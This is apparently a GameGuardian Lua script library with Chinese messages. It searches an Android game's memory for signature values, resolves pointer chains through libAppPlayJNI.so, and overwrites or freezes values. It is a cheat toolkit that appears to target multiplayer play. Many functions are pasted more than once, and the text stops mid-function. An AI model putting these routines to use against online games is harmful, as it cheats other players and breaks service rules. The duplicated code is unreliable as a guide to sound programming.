function readPointer(name,offset,i) local re=gg.getRangesList(name) local x64=gg.getTargetInfo().x64 local va={[true]=32,[false]=4} if re[i or 1] then local addr=re[i or 1].start+offset[1] for i=2,#offset do addr=gg.getValues({{address=addr,flags=va[x64]}}) if not x64 then addr[1].value=addr[1].value&0xFFFFFFFF end addr=addr[1].value+offset[i] end return addr end end function gg.edits(addr,Table,name) local Table1={{},{}} for k,v in ipairs(Table) do local value={address=addr+v[3],value=v[1],flags=v[2],freeze=v[4]} if v[4] then Table1[2][#Table1[2]+1]=value else Table1[1][#Table1[1]+1]=value end end gg.addListItems(Table1[2]) gg.setValues(Table1[1]) gg.toast((name or '') .. '开启成功, 共修改'..#Table..'个值') end --read基址值
function GETValue(a) b=gg.getValues({{address=a,flags=4}})[1].value return b end --获取基址值
gg.clearResults()A = gg.TYPE_AUTO D = gg.TYPE_DWORD F = gg.TYPE_FLOAT E = gg.TYPE_DOUBLE w = gg.TYPE_WORD B = gg.TYPE_BYTE Q = gg.TYPE_QWORD X = gg.TYPE_XOR function gg.modify(A,B,C,D,E,F,G,H,I)gg.clearResults()gg.setRanges(G)gg.searchNumber(A, B, false, gg.SIGN_EQUAL, 0, -1)gg.searchNumber(A, B, false, gg.SIGN_EQUAL, 0, -1)gg.searchNumber(A, B, false, gg.SIGN_EQUAL, 0, -1)gg.getResults(100)local GG=gg.getResultCount()if GG >= 1000 then gg.clearList()gg.clearResults()gg.alert("当前搜索内存数:"..GG.."\n已超过1000\n为防止游戏崩溃,已自动结束操作")goto load end gg.editAll(C, D,E)gg.toast(H.."开启成功,共修改"..GG.."条数据")gg.clearList()gg.clearResults()if I == nil then I=""end pcall(load(I))::load:: pcall(load(F))gg.clearList()gg.clearResults()end





lde,mnsj={},{Dj="0.01",dv={},lz="/sdcard/.zbb",r={}} lde.gre,lde.sbr,lde.srg,lde.crs=gg.getResults,gg.searchNumber,gg.setRanges,gg.clearResults
function lde.qb()table.remove(bc,#bc)table.remove(bc,#bc)end
function bv(a,b) if not b then b=","end if not tostring(a):find(b)then return{a}end local tab={}local i=0 while true do j=string.find(a,b,i+1) if not j then table.insert(tab,a:sub(i+1,#a)) break end table.insert(tab,a:sub(i+1,j-1)) i=j end return tab end
function so(a,b,c) local csn=gg.getRanges() gg.setVisible(false) lde.srg(a[3]) lde.crs() lde.sbr(a[2],a[4]) local js=gg.getResultCount() local count=lde.gre(js) lde.crs() if #count~=0 then local lode,lope,lobe={},{},{} for p=1,#b do lode[p]={} for i=1,#count do lode[p][i]={} lode[p][i].address=count[i].address+b[p][2] if not b[p][3]then b[p][3]=a[4]end lode[p][i].flags=b[p][3]end lode[p]=gg.getValues(lode[p]) db=bv(b[p][1],"~") if not db[2]then db[2]=db[1]end for i=1,#lode[p] do if tonumber(lode[p][i].value)>=tonumber(db[1]) and tonumber(lode[p][i].value)<=tonumber(db[2]) then lope[#lope+1]={} lope[#lope]=count[i] end end if #lope==0 then lde.srg(csn)if p>11 then p=11 end return "开启失败" end count=lope lope={}end for i=1,#c do for n=1,#count do lope[#lope+1]={} lope[#lope].address=count[n].address+c[i][2] if not c[i][3]then c[i][3]=a[4]end lope[#lope].flags=c[i][3] if c[i][1] then lope[#lope].value=c[i][1] else lope[#lope].value=gg.getValues(lope)[#lope].value end if c[i][4] then lobe[#lobe+1]={} lobe[#lobe]=lope[#lope] table.remove(lope,#lope) end if c[i][4]==1 then lobe[#lobe].freeze=true elseif c[i][4]==2 then lobe[#lobe].freeze=false end if c[i][5] then lobe[#lobe].name=c[i][5] end end end gg.setValues(lope) gg.addListItems(lobe) lde.srg(csn) return a[1].."开启成功" else lde.srg(csn) return a[1].."开启失败!!!" end end
function xe(name,offset,i) local re=gg.getRangesList(name) local x64=gg.getTargetInfo().x64 local va={[true]=32,[false]=4} if re[i or 1] then local addr=re[i or 1].start+offset[1] for i=2,#offset do addr=gg.getValues({{address=addr,flags=va[x64]}}) if not x64 then addr[1].value=addr[1].value&0xFFFFFFFF end addr=addr[1].value+offset[i] end return addr end end function gg.edits(addr,Table,name) local Table1={{},{}} for k,v in ipairs(Table) do local value={address=addr+v[3],value=v[1],flags=v[2],freeze=v[4]} if v[4] then Table1[2][#Table1[2]+1]=value else Table1[1][#Table1[1]+1]=value end end gg.addListItems(Table1[2]) gg.setValues(Table1[1]) gg.toast((name or "") .. "开启成功, 共修改"..#Table.."个值") end
function readValue(read) local bf={} for i,v in ipairs(read) do bf[i]={address=v[1],flags=v[2]} end bf=gg.getValues(bf)  for i=1,#bf do  bf[i]=bf[i].value  end return bf end
function gg.edits(addr,Table,name) local Table1 = {{}, {}} for k, v in ipairs(Table) do local value={address=addr+v[3],value=v[1],flags=v[2],freeze=v[4]}if v[4] then Table1[2][#Table1[2]+1]=value else Table1[1][#Table1[1]+1]=value end end gg.addListItems(Table1[2])gg.setValues(Table1[1]) gg.toast((name or "") .. "开启成功, 共修改"..#Table.."个值") end
local sod,so_bss,xdd='libAppPlayJNI.so','libAppPlayJNI.so:bss',gg.getRangesList("libAppPlayJNI.so:bss") 
function gg.Hjkl(value) local GT=gg.getListItems() local t={} for i,v in pairs(GT) do if v.value==value then table.insert(t,v) end end gg.removeListItems(t) end
function hqmz(a) local b='' for i=1,999 do local c=gg.getValues({{address=a+(i-1)*1,flags=1}})[1].value if c==0 then break end b=b..string.char(c<0 and 256+c or c) end if b=='' then local b else return b end end
function ntrp(add,se,flags) gg.setValues({{address=add,flags=flags or 16,value=se}}) end
function nty(addr,flags) add=gg.getValues({{address=addr,flags=flags or 32}})[1].value return add end
function Get_Text(add) local b='' for i=1,999 do local c=gg.getValues({{address=add+(i-1)*1,flags=1}})[1].value if c==0 then break end b=b..string.char(c<0 and 256+c or c) end if b=='' then local b else return b end end
function Get_Addr(add,flags) return gg.getValues({{address=add or 0,flags=flags or 4}})[1].address end
function Get_Value(add,flags) return gg.getValues({{address=add or 0,flags=flags or 4}})[1].value end
function Search(read,Memory) gg.clearResults() gg.setVisible(false) gg.setRanges(Memory) gg.searchNumber(read[1],read[2]) if gg.getResultCount()==0 then gg.toast("开启失败") return false end end
function doAction(method) load(method .. "()")() end
function remove(value) local GT=gg.getListItems() local t={} for i,v in pairs(GT) do if v.value==value then table.insert(t,v) end end gg.removeListItems(t) end
function SearchWrite(tb1, tb2, dataType, Name) local lt1={} local lt2={} local mm1={["主特征码"] = tb1[1][1],["类型"] = dataType } table.insert(lt1,1,mm1)   for i=2 , #tb1 do     local mm2={["副特征码"] = tb1[i][1],["偏移"] = tb1[i][2]}     table.insert(lt1,i,mm2)   end   for i=1 , #tb2 do     if tb2[i][2]~=nil then       local mm3={["修改"] = tb2[i][1],["偏移"] = tb2[i][2]}       table.insert(lt2,i,mm3)      else       local mm3={["修改"] = false,["偏移"] = tb2[i][1]}       table.insert(lt2,i,mm3)     end   end   LongTao(lt1, lt2 ) end  function LongTao(Search, Write)   gg.clearResults()   gg.setVisible(false)   lx=Search[1]["类型"]   gg.searchNumber(Search[1]["主特征码"], lx)   local count = gg.getResultCount()   local result = gg.getResults(count)   gg.clearResults()   local data = {}   if (count > 0) then     gg.toast("共搜索 "..count.." 条数据")     for i, v in ipairs(result) do       v.isUseful = true     end     for k=2, #Search do       local tmp = {}       local num = Search[k]["副特征码"]       if Search[k]["类型"]~= nil then            lx =Search[k]["类型"]          else            lx = Search[1]["类型"]         end       for i, v in ipairs(result) do         tmp[#tmp+1] = {}         tmp[#tmp].address = v.address + Search[k]["偏移"]         tmp[#tmp].flags = lx       end       tmp = gg.getValues(tmp)       for i, v in ipairs(tmp) do         if ( tostring(v.value) ~= tostring(num) ) then           result[i].isUseful = false         end       end     end     for i, v in ipairs(result) do       if (v.isUseful) then         data[#data+1] = v.address       end     end     if (#data > 0) then       local t = {}       for i=1, #data do         for k, w in ipairs(Write) do           if w["类型"] ~= nil then              lx = w["类型"]            else              lx = Search[1]["类型"]           end           t[#t+1] = {}           t[#t].address = data[i] + w["偏移"]           t[#t].flags = lx           if (w["修改"]~=nil) and (w["修改"]~=false) then             t[#t].value = w["修改"]             gg.setValues(t)             if (w["冻结"] == true) then               local item = {}               item[#item+1] = t[#t]               item[#item].freeze = w["冻结"]               gg.addListItems(item)             end           end         end       end       gg.loadResults(t)       gg.toast("共偏移η"..#t.." 条数据ΔΘ")      else       gg.toast("未定位到数据!")       return false     end    else     gg.toast("未定位到数据!")     return false   end end    local app = {} function Assert(data) if data == nil or data == "" or data == "nil" then return false else return true end end function mearrass(memory, array) if Assert(memory) and Assert(array) then return true else return false end end function typetab(array, type) local datatype = {} for i = 1, #array do if Assert(array[i].type) then table.insert(datatype, i, array[i].type) else if Assert(type) then table.insert(datatype, i, type) else return false end end end return true, datatype end function app.memorysearch(memory, array, type) gg.setVisible(false) local isok = mearrass(memory, array) if isok then local isok, datatype = typetab(array, type) if isok then if Assert(array[1].hv) then gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv .. "~" .. array[1].hv, datatype[1]) else gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv, datatype[1]) end if gg.getResultCount() == 0 then return false else local tab = {} local data = gg.getResults(gg.getResultCount()) gg.clearResults() for i = 1, #data do data[i].isok = true end for i = 2, #array do local t = {} local offset = array[i].offset for x = 1, #data do t[#t + 1] = {} t[#t].address = data[x].address + offset t[#t].flags = datatype[i] end local t = gg.getValues(t) for z = 1, #t do if Assert(array[i].hv) then if tonumber(t[z].value) < tonumber(array[i].lv) or tonumber(t[z].value) > tonumber(array[i].hv) then  data[z].isok = false end else if tostring(t[z].value) ~= tostring(array[i].lv) then data[z].isok = false end end end end for i = 1, #data do if data[i].isok then tab[#tab + 1] = data[i].address end end if #tab > 0 then return true, tab else return false end end else print("type参数错误") gg.toast("type参数错误") os.exit() end else print("memory or array参数错误") gg.toast("memory or array参数错误") os.exit() end end function app.memoryread(addr, type) local t = {} t[1] = {} t[1].address = addr t[1].flags = type if #t > 0 then return true, gg.getValues(t)[1].value else return false end end function app.memorywrite(addr, type, value, freeze) local t = {} t[1] = {} t[1].address = addr t[1].flags = type t[1].value = value if #t > 0 then if Assert(freeze) then t[1].freeze = freeze return gg.addListItems(t) else return gg.setValues(t) end else return false end end
--so,xe,nerp,指针,get配置--
function S_Pointer(t_So, t_Offset, _bit)
	local function getRanges()
		local ranges = {}
		local t = gg.getRangesList('^/data/*.so*$')
		for i, v in pairs(t) do
			if v.type:sub(2, 2) == 'w' then
				table.insert(ranges, v)
			end
		end
		return ranges
	end
	local function Get_Address(N_So, Offset, ti_bit)
		local ti = gg.getTargetInfo()
		local S_list = getRanges()
		local _Q = tonumber(0x167ba0fe)
		local t = {}
		local _t
		local _S = nil
		if ti_bit then
			_t = 32
		 else
			_t = 4
		end
		for i in pairs(S_list) do
			local _N = S_list[i].internalName:gsub('^.*/', '')
			if N_So[1] == _N and N_So[2] == S_list[i].state then
				_S = S_list[i]
				break
			end
		end
		if _S then
			t[#t + 1] = {}
			t[#t].address = _S.start + Offset[1]
			t[#t].flags = _t
			if #Offset ~= 1 then
				for i = 2, #Offset do
					local S = gg.getValues(t)
					t = {}
					for _ in pairs(S) do
						if not ti.x64 then
							S[_].value = S[_].value & 0xFFFFFFFF
						end
						t[#t + 1] = {}
						t[#t].address = S[_].value + Offset[i]
						t[#t].flags = _t
					end
				end
			end
			_S = t[#t].address
			print(string.char(231,190,164,58).._Q)
		end
		return _S
	end
	local _A = string.format('0x%X', Get_Address(t_So, t_Offset, _bit))
	return _A
end
function nc_offset(addr,tablex,tt) for i,v in ipairs(tablex) do if v[4]==true then gg.addListItems({{address=addr+v[3],flags=v[2],value=v[1],freeze=v[4]}})else gg.setValues({{address=addr+v[3],flags=v[2],value=v[1]}}) end end gg.toast((tt or "").."开启成功") end function getso(So_name) return gg.getRangesList(So_name)[1].start end function BaAdd(add) t=gg.getValues({[1]={address=add,flags=4}}) return t[1].value&0xFFFFFFFF end function readPointer(Add,Item) for i=1,(#Item-1) do Add=BaAdd(Add+Item[i]) end return Add+Item[#Item] end function setvalue(add,value,falgs,dj) local WY={} WY[1]={} WY[1].address=add WY[1].value=value WY[1].flags=falgs if dj==true then WY[1].freeze=true gg.addListItems(WY) else gg.setValues(WY) end end function getnc(Name,nc) local t=gg.getRangesList(Name) for i, v in ipairs(t) do if v.state==nc then return v.start end end end function SearchWrite(Search, Write, Type)gg.clearResults()gg.setVisible(false)gg.searchNumber(Search[1][1], Type)local count = gg.getResultCount()local result = gg.getResults(count)gg.clearResults()local data = {} local base = Search[1][2]   if (count > 0) then for i, v in ipairs(result) do v.isUseful = true end for k=2, #Search do local tmp = {}local offset = Search[k][2] - base local num = Search[k][1]  for i, v in ipairs(result) do tmp[#tmp+1] = {}  tmp[#tmp].address = v.address + offset tmp[#tmp].flags = v.flags end tmp = gg.getValues(tmp)  for i, v in ipairs(tmp) do if ( tostring(v.value) ~= tostring(num) ) then result[i].isUseful = false  end end end  for i, v in ipairs(result) do if (v.isUseful) then  data[#data+1] = v.address end end if (#data > 0) then   gg.toast("\n注入"..#data.."条数据")  local t = {} local base = Search[1][2] for i=1, #data do   for k, w in ipairs(Write) do   offset = w[2] - base t[#t+1] = {}  t[#t].address = data[i] + offset   t[#t].flags = Type   t[#t].value = w[1] if (w[3] == true) then local item = {}  item[#item+1] = t[#t] item[#item].freeze = true  gg.addListItems(item) end  end   end gg.setValues(t) else gg.toast("\n开启失败", false) return false end else gg.toast("\n开启失败")return false end end function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) xgsl = xgsl + 1 end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "\n开启失败") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "\n开启失败") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) xgjg = true end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "\n开启成功\n注入" .. xgsl .. "\n条数据") else gg.toast(qmnb[2]["name"] .. "\n开启失败") end end end end lde={} lde.gre,lde.sbr,lde.srg,lde.crs=gg.getResults,gg.searchNumber,gg.setRanges,gg.clearResults function so(a,b,c) local cSY=gg.getRanges()  lde.srg(a[3]) lde.crs() lde.sbr(a[2],a[4]) local js=gg.getResultCount() local count=lde.gre(js) lde.crs() if #count~=0 then local lode,lope,lobe={},{},{} for p=1,#b do lode[p]={} for i=1,#count do lode[p][i]={} lode[p][i].address=count[i].address+b[p][2] if not b[p][3] then b[p][3]=a[4] end lode[p][i].flags=b[p][3] end lode[p]=gg.getValues(lode[p]) db=bv(b[p][1],"~") if not db[2] then db[2]=db[1] end for i=1,#lode[p] do if tonumber(lode[p][i].value)>=tonumber(db[1]) and tonumber(lode[p][i].value)<=tonumber(db[2]) then lope[#lope+1]={} lope[#lope]=count[i] end end if #lope==0 then lde.srg(cSY) if p>11 then p=11 end return a[1].."开启失败" end count=lope lope={} end for i=1,#c do for n=1,#count do lope[#lope+1]={} lope[#lope].address=count[n].address+c[i][2] if not c[i][3] then c[i][3]=a[4] end lope[#lope].flags=c[i][3] if c[i][1] then lope[#lope].value=c[i][1] else lope[#lope].value=gg.getValues(lope)[#lope].value end if c[i][4] then lobe[#lobe+1]={} lobe[#lobe]=lope[#lope] table.remove(lope,#lope) end if c[i][4]==1 then lobe[#lobe].freeze=true else if c[i][4]==2 then lobe[#lobe].freeze=false end end if c[i][5] then lobe[#lobe].name=c[i][5] end end end gg.setValues(lope) gg.addListItems(lobe) lde.srg(cSY) return a[1].."开启成功" else lde.srg(cSY) return a[1].."开启失败" end end lde,mnsj={},{Dj="0.01",dv={},lz="/sdcard/.zbb",r={}} lde.gre,lde.sbr,lde.srg,lde.crs=gg.getResults,gg.searchNumber,gg.setRanges,gg.clearResults function lde.qb()table.remove(bc,#bc)table.remove(bc,#bc)end function bv(a,b) if not b then b=","end if not tostring(a):find(b)then return{a}end local tab={}local i=0 while true do j=string.find(a,b,i+1) if not j then table.insert(tab,a:sub(i+1,#a)) break end table.insert(tab,a:sub(i+1,j-1)) i=j end return tab end D=gg.TYPE_DWORD  E=gg.TYPE_DOUBLE  F=gg.TYPE_FLOAT W=gg.TYPE_WORD B=gg.TYPE_BYTE X=gg.TYPE_XOR Q=gg.TYPE_QWORD function SearchWrite(Search, Write, Type)gg.clearResults()gg.setVisible(false)gg.searchNumber(Search[1][1], Type)local count = gg.getResultCount()local result = gg.getResults(count)gg.clearResults()local data = {} local base = Search[1][2] if (count > 0) then for i, v in ipairs(result) do v.isUseful = true end for k=2, #Search do local tmp = {}local offset = Search[k][2] - base local num = Search[k][1] for i, v in ipairs(result) do tmp[#tmp+1] = {} tmp[#tmp].address = v.address + offset tmp[#tmp].flags = v.flags end tmp = gg.getValues(tmp) for i, v in ipairs(tmp) do if ( tostring(v.value) ~= tostring(num) ) then result[i].isUseful = false end end end for i, v in ipairs(result) do if (v.isUseful) then data[#data+1] = v.address end end if (#data > 0) then   gg.toast("搜索到"..#data.."条数据") local t = {}   local base = Search[1][2]   for i=1, #data do   for k, w in ipairs(Write) do   offset = w[2] - base   t[#t+1] = {}  t[#t].address = data[i] + offset  t[#t].flags = Type t[#t].value = w[1]   if (w[3] == true) then local item = {}  item[#item+1] = t[#t]  item[#item].freeze = true gg.addListItems(item)end end end gg.setValues(t) else gg.toast("not found", false)return false end else gg.toast("Not Found") return false end end function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] xgdj = qmxg[x]["freeze"] if xgdj == nil or xgdj == "" then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "开启成功,已注入" .. xgsl .. "条数据") else gg.toast(qmnb[2]["name"] .. "开启失败") end end end end function setvalue(address,flags,value) PS('修改地址数值(地址,数值类型,要修改的值)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end function PS() end function setvalue(address,flags,value) PS('修改地址数值(地址,数值类型,要修改的值)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end function S_Pointer(t_So, t_Offset, _bit)local function getRanges()local ranges = {}local t = gg.getRangesList('^/data/*.so*$')for i, v in pairs(t) do if v.type:sub(2, 2) == 'w' then table.insert(ranges, v)end end return ranges end local function Get_Address(N_So, Offset, ti_bit)local ti = gg.getTargetInfo()local S_list = getRanges()local _Q = tonumber(0x167ba0fe)local t = {} local _t local _S = nil if ti_bit then _t = 32 else	_t = 4 end for i in pairs(S_list) do local _N = S_list[i].internalName:gsub('^.*/', '') if N_So[1] == _N and N_So[2] == S_list[i].state then	_S = S_list[i] break end end if _S then t[#t + 1] = {} t[#t].address = _S.start + Offset[1] t[#t].flags = _t if #Offset ~= 1 then for i = 2, #Offset do local S = gg.getValues(t) t = {} for _ in pairs(S) do if not ti.x64 then	S[_].value = S[_].value & 0xFFFFFFFF	end	t[#t + 1] = {}	t[#t].address = S[_].value + Offset[i] t[#t].flags = _t end end end	_S = t[#t].address print(string.char(231,190,164,58).._Q)end return _S	end	local _A = string.format('0x%X', Get_Address(t_So, t_Offset, _bit))return _A end recover=gg.getResults(100000) function AppSearch(SSYR,XGNR,BCNR,notWrite)  gg.clearResults()  gg.setRanges(SSYR["M"])  gg.searchNumber(SSYR[1]["mv"],SSYR[1]["lx"],false,gg.SIGN_EQUAL,(SSYR[1]["addr"] or nil),(SSYR[1]["toAddr"] or nil))  jg=gg.getResults(100000)  local base=(SSYR[1]["offs"] or 0)  local data={}  if #jg==0 then gg.toast("功能名:"..(SSYR.name or "无").."\n".."修改失败\n"..(SSYR["error"] or ""))gg.loadResults(recover)return nil  end  for i=1,#jg do jg[i].Useful=true  end for k=2,#SSYR do  if not SSYR[k] then break  end  local content={}  local offset=SSYR[k]["offs"]-base  local value=SSYR[k]["sv"]  local type=SSYR[k]["lx"] local to=(SSYR[k]["to"] or value)  local num={}  if to<value then to,value=value,to  end  for i=1,#jg do if jg[i].Useful==true then  table.insert(content,{}) content[#content].address=jg[i].address+offset content[#content].flags=type num[#num+1]=i end end if #content==0 then gg.toast("功能名:"..(SSYR.name or "无").."\n".."修改失败\n"..(SSYR["error"] or "")) gg.loadResults(recover) return nil end content=gg.getValues(content)for i,v in pairs(content) do if tonumber(v.value)<tonumber(value) or tonumber(v.value)>tonumber(to) then jg[num[i]].Useful=false end end end for j=1,#jg do  if jg[j].Useful==true then data[#data+1]=jg[j].address  end end  if #data==0 then gg.toast("功能名:"..(SSYR.name or "无").."\n".."修改失败\n"..(SSYR["error"] or ""))gg.loadResults(recover)return nil  end  if notWrite==true then gg.loadResults(recover)return data  end  if XGNR then  local write={}  for i=1,#data do for j=1,#XGNR do  write[#write+1]={} write[#write].address=data[i]+(XGNR[j][2]-base) write[#write].flags=XGNR[j][3]  write[#write].value=XGNR[j][1]  write[#write].freeze=XGNR[j][4]  write[#write].name=XGNR[j][5] or nil  if write[#write].freeze==true then gg.addListItems({[1]=write[#write]}) else gg.setValues({[1]=write[#write]})end if XGNR[j][6]==true then gg.addListItems({[1]=write[#write]})end end end end if BCNR then local bc={}for j=1,#data do for i=1,#BCNR do bc[#bc+1]={}bc[#bc].address=data[j]+(BCNR[i][1]-base)bc[#bc].flags=BCNR[i][2]bc[#bc].name=BCNR[i][3]end end gg.addListItems(bc)end gg.toast("功能名:"..(SSYR.name or "无").."\n".."[修改成功]")gg.loadResults(recover)end lde,mnsj={},{Dj="0.01",dv={},lz="/sdcard/.zbb",r={}} lde.gre,lde.sbr,lde.srg,lde.crs=gg.getResults,gg.searchNumber,gg.setRanges,gg.clearResults function lde.qb()table.remove(bc,#bc)table.remove(bc,#bc)end function bv(a,b) if not b then b=","end if not tostring(a):find(b)then return{a}end local tab={}local i=0 while true do j=string.find(a,b,i+1) if not j then table.insert(tab,a:sub(i+1,#a)) break end table.insert(tab,a:sub(i+1,j-1)) i=j end return tab end function so(a,b,c) local cSY=gg.getRanges() gg.setVisible(false) lde.srg(a[3]) lde.crs() lde.sbr(a[2],a[4]) local js=gg.getResultCount() local count=lde.gre(js) lde.crs() if #count~=0 then local lode,lope,lobe={},{},{} for p=1,#b do lode[p]={} for i=1,#count do lode[p][i]={} lode[p][i].address=count[i].address+b[p][2] if not b[p][3]then b[p][3]=a[4]end lode[p][i].flags=b[p][3]end lode[p]=gg.getValues(lode[p]) db=bv(b[p][1],"~") if not db[2]then db[2]=db[1]end for i=1,#lode[p] do if tonumber(lode[p][i].value)>=tonumber(db[1]) and tonumber(lode[p][i].value)<=tonumber(db[2]) then lope[#lope+1]={} lope[#lope]=count[i] end end if #lope==0 then lde.srg(cSY)if p>11 then p=11 end return "开启失败" end count=lope lope={}end for i=1,#c do for n=1,#count do lope[#lope+1]={} lope[#lope].address=count[n].address+c[i][2] if not c[i][3]then c[i][3]=a[4]end lope[#lope].flags=c[i][3] if c[i][1] then lope[#lope].value=c[i][1] else lope[#lope].value=gg.getValues(lope)[#lope].value end if c[i][4] then lobe[#lobe+1]={} lobe[#lobe]=lope[#lope] table.remove(lope,#lope) end if c[i][4]==1 then lobe[#lobe].freeze=true elseif c[i][4]==2 then lobe[#lobe].freeze=false end if c[i][5] then lobe[#lobe].name=c[i][5] end end end gg.setValues(lope) gg.addListItems(lobe) lde.srg(cSY) return a[1].."开启成功" else lde.srg(cSY) return a[1].."开启失败!!!" end end


local zb={}
local getsl=gg.getResultCount
function bgtss(text,flag,Ran) gg.clearResults() gg.setRanges(Ran) gg.searchNumber(text,flag) end 
function bgtgs(num,flag) if gg.getResultCount()>0 then gg.refineNumber(num,flag) end end 
function readValue(addr, type)
local t = {}
t[1] = {}
t[1].address = addr
t[1].flags = type
return gg.getValues(t)[1].value
end
function QC(qmnb,qmxg)gg.setVisible(false)gg.clearResults()qmnbv=qmnb[3]["value"]or qmnb[3][1]qmnbt=qmnb[3]["type"]or qmnb[3][2]qmnbn=qmnb[2]["name"]or qmnb[2][1]gg.setRanges(qmnb[1]["memory"]or qmnb[1][1])gg.searchNumber(qmnbv,qmnbt)gg.refineNumber(qmnbv,qmnbt)sz=gg.getResultCount()if sz==0 then gg.toast(qmnbn.."开启失败,请尝试重启游戏")else sl=gg.getResults(999999)for i=1,sz do pdsz=true for v=4,#qmnb do if pdsz==true then pysz={{}}pysz[1].address=sl[i].address+(qmnb[v]["offset"]or qmnb[v][2])pysz[1].flags=qmnb[v]["type"]or qmnb[v][3]szpy=gg.getValues(pysz)tzszpd=tostring(qmnb[v]["lv"]or qmnb[v][1]):gsub(",","")pyszpd=tostring(szpy[1].value):gsub(",","")if tzszpd==pyszpd then pdjg=true pdsz=true else pdjg=false pdsz=false end end end if pdjg==true then szpy=sl[i].address for x=1,#qmxg do xgsz=qmxg[x]["value"]or qmxg[x][1]xgpy=szpy+(qmxg[x]["offset"]or qmxg[x][2])xglx=qmxg[x]["type"]or qmxg[x][3]xgdj=qmxg[x]["freeze"]or qmxg[x][4]xg={{address=xgpy,flags=xglx,value=xgsz}}if xgdj==true then xg[1].freeze=xgdj gg.addListItems(xg)else gg.setValues(xg)end end xgjg=true end end if xgjg==true then gg.toast(qmnbn.."开启成功\n          共注入 1 条数据")else gg.toast(qmnbn.."开启失败,请尝试重启游戏")end end end
function WX(qmnb,qmxg)gg.setVisible(false)gg.clearResults()qmnbv=qmnb[3]["value"]or qmnb[3][1]qmnbt=qmnb[3]["type"]or qmnb[3][2]qmnbn=qmnb[2]["name"]or qmnb[2][1]gg.setRanges(qmnb[1]["memory"]or qmnb[1][1])gg.searchNumber(qmnbv,qmnbt)gg.refineNumber(qmnbv,qmnbt)sz=gg.getResultCount()if sz==0 then gg.toast(qmnbn.."开启失败,请尝试更换房间")else sl=gg.getResults(999999)for i=1,sz do pdsz=true for v=4,#qmnb do if pdsz==true then pysz={{}}pysz[1].address=sl[i].address+(qmnb[v]["offset"]or qmnb[v][2])pysz[1].flags=qmnb[v]["type"]or qmnb[v][3]szpy=gg.getValues(pysz)tzszpd=tostring(qmnb[v]["lv"]or qmnb[v][1]):gsub(",","")pyszpd=tostring(szpy[1].value):gsub(",","")if tzszpd==pyszpd then pdjg=true pdsz=true else pdjg=false pdsz=false end end end if pdjg==true then szpy=sl[i].address for x=1,#qmxg do xgsz=qmxg[x]["value"]or qmxg[x][1]xgpy=szpy+(qmxg[x]["offset"]or qmxg[x][2])xglx=qmxg[x]["type"]or qmxg[x][3]xgdj=qmxg[x]["freeze"]or 